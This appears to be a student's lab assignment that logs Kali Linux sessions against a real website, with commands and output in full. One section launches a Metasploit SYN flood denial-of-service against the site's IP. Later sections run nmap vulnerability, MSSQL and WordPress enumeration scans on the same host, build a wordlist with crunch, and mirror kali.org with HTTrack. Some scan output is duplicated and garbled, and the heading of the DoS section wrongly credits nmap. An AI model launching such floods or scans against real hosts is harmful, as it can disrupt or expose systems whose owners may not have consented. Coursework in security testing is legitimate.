

Name: Darshan S Kundar

Reg: 145CS20005

Date: 28-02-2023

Task:1

1. Dos attack using nmap:

The use of nmap, a network exploration and security auditing tool, to conduct a DoS attack against a target system or a website.

command:

\$ sudo msfconsole

Use auxiliary/dos/tcp/synflood

Set RHOSTS mitkundapura.com

Run

```
(kali@kali)-[~]
└─$ sudo msfconsole
[sudo] password for kali:
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm: EcdaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm: EcdaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm: EcdaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm: EcdaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm: EcdaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm: EcdaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm: EcdaSha2Nistp256::NAME
Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo ...
the matrix has you
follow the white rabbit.

Knock, knock, Neo.

NetHunter Pro

PAYLOAD
(0x0)""*(0x0)*(0x0)

+ --=[ metasploit v6.2.9-dev ]
+ --=[ 2230 exploits - 1177 auxiliary - 398 post ]
+ --=[ 867 payloads - 45 encoders - 11 nops ]
+ --=[ 9 evasion ]

Metasploit tip: View missing module options with show
missing

msf6 > use auxiliary/dos/tcp/synflood
msf6 auxiliary(dos/tcp/synflood) > set RHOSTS mitkundapura.com
RHOSTS => mitkundapura.com
msf6 auxiliary(dos/tcp/synflood) > run
[*] Running module against 217.21.87.244

[*] SYN flooding 217.21.87.244:80 ...
^Z
zsh: suspended sudo msfconsole

(kali@kali)-[~]
└─$ echo darshan kundar
darshan kundar
```

2. Sql empty password enumeration scanning using nmap:

Nmap is one of the most popular tool used for the enumeration of the target host. Nmap can use scans that provide os,version and service detection for individual or multiple devices.

Command:

```
$nmap -p 1433 --script ms-sql-info --script-args mssql.instance-port=1433
```

mitkundapura.com

```
File Actions Edit View Help
(kali@kali)-[~]
└─$ nmap -p 1433 --script ms-sql-info --script-args mssql.instance-port=1433
mitkundapura.com
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-02 01:42 EST
Nmap scan report for mitkundapura.com (217.21.87.244)
Host is up (0.99s latency).
Other addresses for mitkundapura.com (not scanned): 2a02:4780:11:771:0:2d4c:6d7f:1

PORT      STATE SERVICE
1433/tcp  filtered ms-sql-s

Nmap done: 1 IP address (1 host up) scanned in 28.90 seconds

(kali@kali)-[~]
└─$ echo darshan kumar
darshan kumar
```

3. Vulnerability scan using nmap:

One of the most well known vulnerability scanner is nmap vuln. The nmap script engine searches HTTP responses to identify CPE's for the script.

Command:

```
$ nmap -sV --script vuln mitkundapura.com
```

```
(kali@kali)-[~]
$ nmap -sV --script vuln mitkundapura.com
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-02 03:49 EST
Stats: 0:01:18 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.54% done; ETC: 03:51 (0:00:00 remaining)
Nmap scan report for mitkundapura.com (217.21.87.244)
Host is up (0.059s latency).
Other addresses for mitkundapura.com (not scanned): 2a02:4780:11:771:0:2d4c:6d7f:1
Not shown: 995 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
21/tcp    open  tcpwrapped
| ssl-dh-params:
| VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|   State: VULNERABLE
|     Transport Layer Security (TLS) services that use Diffie-Hellman groups
|     of insufficient strength, especially those using one of a few commonly
|     shared groups, may be susceptible to passive eavesdropping attacks.
|   Check results:
|     WEAK DH GROUP 1
|       Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|       Modulus Type: Safe prime
|       Modulus Source: Unknown/Custom-generated
|       Modulus Length: 1024
|       Generator Length: 8
|       Public Key Length: 1024
|   References:
|     https://weakdh.org
|_ftp-libopie: ERROR: Script execution failed (use -d to debug)
80/tcp    open  tcpwrapped
|_http-server-header: LiteSpeed
|_http-passwd: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

Modulus Source: Unknown/Custom-generated
Modulus Length: 1024
Generator Length: 8
Public Key Length: 1024
References:
https://weakdh.org
|_ftp-libopie: ERROR: Script execution failed (use -d to debug)
80/tcp    open  tcpwrapped
|_http-server-header: LiteSpeed
|_http-passwd: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
443/tcp   open  tcpwrapped
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: LiteSpeed
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-passwd: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
3306/tcp  open  tcpwrapped
|_ssl2-drown: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
8443/tcp  open  tcpwrapped
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-server-header: openresty

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 141.61 seconds

(kali@kali)-[~]
$ echo darshan kumar
darshan kumar
```

4. **Create a password list using characters "fghy" the password should be minimum and maximum length 4 letters:**

Generate all possible combinations of the characters "fghy" with a length of 4 characters and output them to a file called "wordlist.txt". We can adjust the minimum and maximum length by changing the first two parameters (4 4 in this example) to the desired values.

Command:

```
$crunch 4 4 fghy -o wordlist.txt
```

```
(kali@kali)-[~]
$ crunch 4 4 fghy -o wordlist.txt
Crunch will now generate the following amount of data: 1280 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 256
crunch: 100% completed generating output

(kali@kali)-[~]
$ echo darshan kumar
darshan kumar
```

5. Wordpress scan using nmap:

Word press as a publishing platform, security testing is the important part of ensuring the installation is secure. Nmap has a couple of NSE scripts specifically for the testing of wordpress installations.

Command:

```
$nmap --script http-wordpress-enum --script-args type="themes" mitkundapura.com
```

```
(kali㉿kali)-[~]
└─$ nmap --script http-wordpress-enum --script-args type="themes" mitkundapura.com
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-02 02:17 EST
NSE: [http-wordpress-enum] got no answers from pipelined queries
NSE: [http-wordpress-enum] got no answers from pipelined queries
Stats: 0:01:20 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 80.00% done; ETC: 02:18 (0:00:05 remaining)
Nmap scan report for mitkundapura.com (217.21.87.244)
Host is up (0.080s latency).
Other addresses for mitkundapura.com (not scanned): 2a02:4780:11:771:0:2d4c:6d7f:1
Not shown: 995 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
3306/tcp   open  mysql
7443/tcp   open  oracleas-https
8443/tcp   open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 105.79 seconds

(kali㉿kali)-[~]
└─$ echo darshan kumar
darshan kumar
```

6. What is use of Htttrack?command to copy website?

Htttrack is a free and open-source offline browser utility that allows you to download a website from the Internet to a local directory on your computer. It creates a copy of the website with all the directory structure, HTML, images, and other media files that are required to render the website.

Command for copying website:

```
$httrack https://www.kali.org/  
$cd www.kali.org  
$cat rss.xml
```

```
(kali㉿kali)-[~]  
$ httrack https://www.kali.org/  
Mirror launched on Thu, 02 Mar 2023 02:30:57 by HTTrack Website Copier/3.49-4+libhtsjava.so.2 [XR&CO'2014]  
mirroring https://www.kali.org/ with the wizard help..  
^Chttps://www.kali.org/images/nethunter-pro-phone.jpg (15062 bytes) - OK  
** Finishing pending transfers.. press again ^C to quit.  
Done.08: https://www.kali.org/docs/virtualization/install-qemu-guest-vm/libvirt-6.png (0 bytes) - -1  
Thanks for using HTTrack!  
  
(kali㉿kali)-[~]  
$ ls  
2022-12-06-ZAP-Report- backblue.gif Documents fade.gif hts-cache index.html Music Public Templates  
2022-12-06-ZAP-Report-.html Desktop Downloads HEY.txt hts-log.txt mitkundapura.com Pictures shreyas.exe Videos  
  
(kali㉿kali)-[~]  
$ cd www.kali.org  
  
(kali㉿kali)-[~/www.kali.org]  
$ ls  
about-us cdn-cgi contact docs get-kali images index.min3ef3.js kali-nethunter partnerships rel  
blog community css features get-kali.min44a4.html index.html index.mine839.css newsletter plugins rrs  
  
(kali㉿kali)-[~/www.kali.org]  
$ cat rss.xml  
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:webfee  
ption>Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and  
2023. All rights reserved.</copyright><lastBuildDate>Thu, 02 Mar 2023 00:00:00 +0000</lastBuildDate><atom:link href="https://ww  
es/kali-logo.svg"/><webfeeds:icon>https://www.kali.org/images/favicon.svg</webfeeds:icon><webfeeds:logo>https://www.kali.org/im  
BF0</webfeeds:accentColor><item><title>Kali Linux (is) Everywhere!</title><link>https://www.kali.org/blog/kali-linux-is-everywh  
00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-is-everywhere/images/kali-everywhere-banner.jpg" type="i  
to you as possible. Over the years this has resulted in a number of different ways to get Kali, but not everyone knows about al  
and where you can go for more information for each option.</p>  
<t>You should keep in mind as we review options what will be best for you, in your specific use case. What do you intend to  
st instances are actually pretty short lived, and replaced often. For instance, in the penetration testing space it is consider  
ther hand, there are instances of Kali that are around for a very long time; for instance, running scanning engines for enterpr  
<t><strong>You won&rsquo;t find a singular &ldquo;right&rdquo; way to interact with Kali, you have to determi  
overview of all of the various ways to get Kali. Should anything seem interesting, the table contains hyperlinks directly to o  
  
new/images/kali-whats-new.jpg" type="image/jpeg"/><description><t>h2 id="enter-kali-linux">Enter Kali Linux</h2>  
<t>&ldquo;<strong>So, what&rsquo;s the difference between <t>a href="https://www.backtrack-linux.org/">BackTrack  
simple question to answer. It&rsquo;s a mix between &ldquo;everything&rdquo; and &ldquo;not much&rdquo;, de  
<t>From an end user perspective, the most obvious change would be the switch to Debian and an FHS-compliant system. What thi  
able to call any tool from anywhere on the system as every application is included in the system path. However, there&rsqu  
ove.</p>  
<t>h3 id="streaming-security-and-package-updates-from-debian">Streaming Security and Package Updates From Debian</h3>  
<t>Our new streamlined repositories synchronize with the <t>a href="https://www.debian.org/">Debian</t> repositories 4 t  
<t>h3 id="debian-compliant-packaging-of-each-tool-in-kali">Debian Compliant Packaging of Each Tool in Kali</h3>  
<t>This is where we&rsquo;ve been spending most of our time and effort. Relentlessly packaging dozens of useful tools, p  
<t>h3 id="long-term-packaging-and-maintenance-of-high-profile-tools">Long Term Packaging and Maintenance of High Profile Tools  
<t>Many of the tools in our toolbox need to be &ldquo;bleeding edge&rdquo;. This means we have taken on the task of p  
where it matters.</p>  
<t>h3 id="streamlined-development-process">Streamlined Development Process</h3>  
<t>As our source packages are now also Debian compliant, you can quickly and easily get the required sources of each tool, t  
<t>h3 id="bootstrap-builds-and-iso-customizations">Bootstrap Builds and ISO Customizations</h3>  
<t>One of the many benefits of our move to a Debian compliant system, is the ability to Bootstrap a Kali Installation/ISO di  
ent/live-build-a-custom-kali-iso/">build your own customizations of Kali</t>, as well as perform <t>a href="https://www.kal  
</p>  
<t>h3 id="automating-kali-installations">Automating Kali Installations</h3>  
<t>Kali Linux installations can now be automated using pre-seed files. This allows for enterprise wide customization and dep  
<t>h3 id="real-arm-development">Real ARM Development</h3>  
<t>BackTrack 5 brought with it new support for ARM hardware. Our ARM build-bot was a modified Motorola Xoom tablet, which su  
ty.com/">Offensive Security</t> has donated a Calxeda ARM cluster to our project, allowing reliable and long term developmen  
<t>h3 id="complete-desktop-environment-flexibility">Complete Desktop Environment Flexibility.</h3>  
<t>Our new build and repository environments allow for complete flexibility in generating your own updated Kali ISOs, with a  
.kali.org/docs/development/live-build-a-custom-kali-iso/">change your Kali desktop environment</t>, yourself.</p>  
<t>h3 id="seamless-upgrades-between-future-major-versions">Seamless Upgrades Between Future Major Versions</h3>  
<t>Another benefit derived from the move to a Debian compliant system is the ability to seamlessly upgrade future major vers  
i coming out.</p>  
<t>With all these changes (and many more), you can see why we&rsquo;re so excited about this release. Go ahead and give  
p guides, and then over to our <t>a href="https://forums.kali.org/">forums</t> and join the new Kali community!</p></des  
  
(kali㉿kali)-[~/www.kali.org]  
$ echo darshan kundan  
darshan kundan
```